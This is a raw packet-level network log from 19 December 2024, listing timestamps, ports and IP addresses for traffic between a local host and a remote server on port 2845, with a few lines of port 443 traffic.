Dec 19, 2024 13:45:18.554886103 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.554951906 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.555052996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.555908918 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.555926085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.555948019 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.556890965 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.557019949 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.557055950 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.557902098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.557939053 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.557959080 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.558868885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.558912039 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.558943987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.559947968 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.559988976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.560019970 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.561211109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.561225891 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.561266899 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.562047958 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.562120914 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.562221050 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.562998056 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.563038111 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.563172102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.564080954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.564126968 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.564141989 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.565238953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.565289021 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.565315008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.566155910 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.566205978 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.566236973 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.567256927 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.567302942 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.567504883 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.568200111 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.568243027 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.568432093 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.620170116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.707189083 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.707295895 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.707649946 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.707714081 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.707824945 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.708268881 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.708669901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.708736897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.708786964 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.709661007 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.709979057 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.710508108 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.710719109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.710819960 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.710968971 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.711724997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.711831093 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.712025881 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.712747097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.712790966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.712858915 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.713803053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.714019060 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.714787006 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.714888096 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.714966059 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.716044903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.716069937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.716073990 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.716933012 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.716960907 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.717015028 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.718044996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.718063116 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.718072891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.718949080 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.718974113 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.719032049 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.719937086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.719963074 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.720093966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.721052885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.721081972 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.721096992 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.721779108 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.722028017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.722145081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.723105907 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.723134041 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.723239899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.724155903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.724180937 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.724256039 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.725142002 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.725167990 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.725259066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.725965023 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.726157904 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.726311922 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.727233887 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.727257967 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.727380037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.728271961 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.728296041 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.728367090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.729295969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.729321957 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.729407072 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.729737043 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.730339050 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.730436087 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.730529070 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.731340885 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.731401920 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.731457949 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.732347965 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.732455969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.732625961 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.733376026 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.733478069 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.733597994 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.734431982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.734540939 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.734599113 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.735554934 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.735573053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.735663891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.736598969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.736610889 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.736653090 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.737576008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.737648964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.738550901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.738655090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.738679886 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.739420891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.739557981 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.739665985 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.739870071 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.740613937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.740686893 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.740832090 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.741648912 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.741755009 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.741799116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.742681980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.742783070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.743093967 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.743685007 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.743812084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.744718075 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.744740963 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.744822979 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.745790005 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.745881081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.745909929 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.745964050 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.746831894 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.746895075 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.747016907 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.747826099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.747927904 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.748012066 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.748843908 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.748948097 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.749280930 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.749870062 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.750049114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.750683069 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.750931978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.750951052 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.751113892 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.751934052 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.752077103 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.752994061 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.753068924 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.753092051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.753175974 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.754009008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.754113913 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.754257917 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.755075932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.755152941 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.755283117 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.756091118 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.756184101 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.756272078 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.757195950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.757288933 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.757343054 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.758157015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.758285999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.758369923 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.759361982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.759428978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.759511948 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.760176897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.760297060 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.760404110 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.761185884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.788109064 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:18.789786100 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:18.789819002 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:18.790177107 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:18.791631937 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:18.791631937 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:18.791662931 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:18.791662931 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:18.791707993 CET	443	49955	162.125.4.18	192.168.2.7
Dec 19, 2024 13:45:18.804392099 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.840755939 CET	49955	443	192.168.2.7	162.125.4.18
Dec 19, 2024 13:45:18.899039030 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.899236917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.899296045 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.899580956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.899741888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.899893045 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.900624037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.900729895 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.900863886 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.901591063 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.901688099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.902686119 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.902715921 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.902748108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.903052092 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.903726101 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.903769016 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.904409885 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.904692888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.904742002 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.904829979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.905716896 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.905828953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.905983925 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.906805038 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.906866074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.907788992 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.907879114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.907902956 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.908056021 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.908824921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.908943892 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.909109116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.909861088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.909961939 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.910362005 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.910908937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.911014080 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.911170959 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.911920071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.912106037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.912204981 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.912931919 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.913003922 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.913043976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.914077997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.914208889 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.914999008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.915024996 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.915107965 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.915755033 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.916026115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.916132927 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.916479111 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.917048931 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.917161942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.917344093 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.918126106 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.918339014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.918654919 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.919140100 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.919260025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.919373035 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.920178890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.920269966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.920380116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.921189070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.921288967 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.921497107 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.922216892 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.922302008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.922487974 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.923254013 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.923343897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.924284935 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.924411058 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.924436092 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.924967051 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.925313950 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.925443888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.925661087 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.926404953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.926580906 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.926630020 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.927373886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.927498102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.928435087 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.928507090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.928529978 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.928706884 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.929449081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.929560900 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.929626942 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.930461884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.930566072 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.930805922 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.931514978 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.931593895 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.932509899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.932673931 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.932801008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.932888985 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.933547020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.933732986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.933900118 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.934597969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.934710026 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.934952974 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.935679913 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.935765028 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.936670065 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.936784029 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.936799049 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.936853886 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.937675953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.937782049 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.938517094 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.938731909 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.938841105 CET	2845	49943	104.161.43.18	192.168.2.7
